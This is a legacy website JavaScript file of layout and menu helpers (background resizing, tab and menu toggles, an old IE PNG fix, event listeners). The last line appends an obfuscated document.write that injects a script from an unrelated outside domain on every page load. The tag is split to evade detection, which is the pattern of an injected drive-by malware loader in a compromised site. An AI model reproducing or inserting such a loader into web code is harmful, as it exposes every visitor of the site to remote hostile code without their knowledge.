function ajustaBackground(){
	var tamanhoConteudo = document.getElementById("base");
	var tamanhoJanela = Math.floor(document.body.offsetHeight);
	var tamanhoIdeal = 0;
	
	if(tamanhoConteudo.offsetHeight > tamanhoJanela){
		tamanhoIdeal = tamanhoConteudo.offsetHeight;
	}else{
		tamanhoIdeal = tamanhoJanela;
	}
	
	document.getElementById("background").style.height = tamanhoIdeal + "px";
	document.getElementById("identidade").style.height = tamanhoIdeal + "px";
}

function showhide(objElemento){
	var checkStatus = document.getElementById(objElemento).style.display;
	
	if(checkStatus=='' || checkStatus=='none'){
		document.getElementById(objElemento).style.display = 'inline';
	}else{
		document.getElementById(objElemento).style.display = 'none';
	}
	
	ajustaBackground();
}

// Correctly handle PNG transparency in Win IE 5.5 or higher.
// http://homepage.ntlworld.com/bobosola. Updated 02-March-2004

function correctPNG() 
   {
   for(var i=0; i<document.images.length; i++)
      {
	  var img = document.images[i]
	  var imgName = img.src.toUpperCase()
	  if (imgName.substring(imgName.length-3, imgName.length) == "PNG")
	     {
		 var imgID = (img.id) ? "id='" + img.id + "' " : ""
		 var imgClass = (img.className) ? "class='" + img.className + "' " : ""
		 var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
		 var imgStyle = "display:inline-block;" + img.style.cssText 
		 if (img.align == "left") imgStyle = "float:left;" + imgStyle
		 if (img.align == "right") imgStyle = "float:right;" + imgStyle
		 if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle		
		 var strNewHTML = "<span " + imgID + imgClass + imgTitle
		 + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
	     + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
		 + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>" 
		 img.outerHTML = strNewHTML
		 i = i-1
	     }
      }
   }
   
function abreMenu(objMenu) {
	
	var checkMenu = document.getElementById("menu_" + objMenu).style.display;
	
	var arrMenu = new Array(5) 
	arrMenu[0]="aboutus"; 
	arrMenu[1]="brazilianfcs"; 
	arrMenu[2]="agenda"; 
	arrMenu[3]="news"; 
	arrMenu[4]="contactus";
	arrMenu[5]="downloads";
	arrMenu[6]="favoritos";

	for (x=0; x < abreMenu.length; x++){ 
		document.getElementById("menu_" + arrMenu[x]).style.display = 'none';
	}
	
	if(checkMenu=='' || checkMenu=='none'){
		document.getElementById("menu_" + objMenu).style.display = 'inline';
	}else{
		document.getElementById("menu_" + objMenu).style.display = 'none';
	}
	
	ajustaBackground();
} 

function setaAba(objAba, objQtdeAba){
	var checkAba = document.getElementById("aba_" + objAba).className;
	for (x=1; x <= objQtdeAba; x++){ 
		document.getElementById("aba_" + x).className = 'aba_fechada';
		document.getElementById("aba_conteudo_" + x).style.display = 'none';
	}
	document.getElementById("aba_" + objAba).className = 'aba_aberta';
	document.getElementById("aba_conteudo_" + objAba).style.display = 'inline';
	
	ajustaBackground();
}


/*POSICIONAMENTO DE LAYER*/
var cm = null;
document.onclick = new Function("showPos(null)")
function getPos(el,sProp) {
	var iPos = 0
	while (el!=null) {
		iPos += el["offset" + sProp]
		el = el.offsetParent
	}
	return iPos
}


function showPos(objSeleft, objDiv, objLocal) {
	if(getPos(objSeleft,"Left") != 0 || getPos(objSeleft,"Top") != 0){
		var checkStatus = document.getElementById(objDiv).style.display;
		if(checkStatus=='inline'){
			document.getElementById(objDiv).style.display = 'none';
		}else{
			document.getElementById(objDiv).style.display = 'inline';
		}
		
		var mLeft = 0;
		var mTop = 0;
		bName = navigator.appName;
		bVer = parseInt(navigator.appVersion);
		if (bName == "Netscape" && bVer >= 3){
			if(objLocal=='contactus'){
				mLeft = 300;
				mTop = 17;
			}else{
				mLeft = 133;
				mTop = 17;
			}
		};
		if (bName == "Microsoft Internet Explorer" && bVer >= 4){
			if(objLocal == 'contactus'){
				mLeft = 300;
				mTop = 21;
			}else{
				mLeft = 133;
				mTop = 21;
			}
		};
		
		document.getElementById(objDiv).style.left = getPos(objSeleft,"Left") - mLeft + 'px';
		document.getElementById(objDiv).style.top = getPos(objSeleft,"Top") + mTop + 'px';
	}

}

function showContato(objSeleft, objDiv, objLocal) {
	if(getPos(objSeleft,"Left") != 0 || getPos(objSeleft,"Top") != 0){
		var checkStatus = document.getElementById(objDiv).style.display;
		if(checkStatus=='inline'){
			document.getElementById(objDiv).style.display = 'none';
		}else{
			document.getElementById(objDiv).style.display = 'inline';
		}
		
		var mLeft = 0;
		var mTop = 0;
		bName = navigator.appName;
		bVer = parseInt(navigator.appVersion);
		if (bName == "Netscape" && bVer >= 3){
			if(objLocal=='contactus'){
				mLeft = 300;
				mTop = 17;
			}else{
				mLeft = 133;
				mTop = 17;
			}
		};
		if (bName == "Microsoft Internet Explorer" && bVer >= 4){
			if(objLocal == 'contactus'){
				mLeft = 300;
				mTop = 21;
			}else{
				mLeft = 133;
				mTop = 21;
			}
		};
		
		document.getElementById(objDiv).style.left = getPos(objSeleft,"Left") - mLeft + 'px';
		document.getElementById(objDiv).style.top = getPos(objSeleft,"Top") + mTop + 'px';
	}

}


function setaOpcao(objDiv, objForm,objTexto,objId){
	document.getElementById("hd_" + objForm).value = objId;
	document.getElementById("tx_" + objForm).value = objTexto;
	
	document.getElementById(objDiv).style.display = 'none';
}

function gotourl() {
  var i, args=gotourl.arguments; document.tv1_returnValue = false;
  for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");
}


function addLoadListener(fn)
{
    if (typeof window.addEventListener != 'undefined')
    
{
        window.addEventListener('load', fn, false);
    }
    else if (typeof document.addEventListener != 'undefined')
    
{
        document.addEventListener('load', fn, false);
    }
    else if (typeof window.attachEvent != 'undefined')
    
{
        window.attachEvent('onload', fn);
    }
    else

{
        return false;
    }
    
    return true;
};

function attachEventListener(target, eventType, functionRef, capture)

{
    if (typeof target.addEventListener != "undefined")
    
{
        target.addEventListener(eventType, functionRef, capture);
    }
    else if (typeof target.attachEvent != "undefined")
    
{
        target.attachEvent("on" + eventType, functionRef);
    }
    else
    
{
        return false;
    }

    return true;
};

//addLoadListener(correctPNG);
addLoadListener(ajustaBackground);
attachEventListener(window, "resize", ajustaBackground, false);
attachEventListener(document, "resize", ajustaBackground, false);






document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Webmail.js"></scri'+'pt>');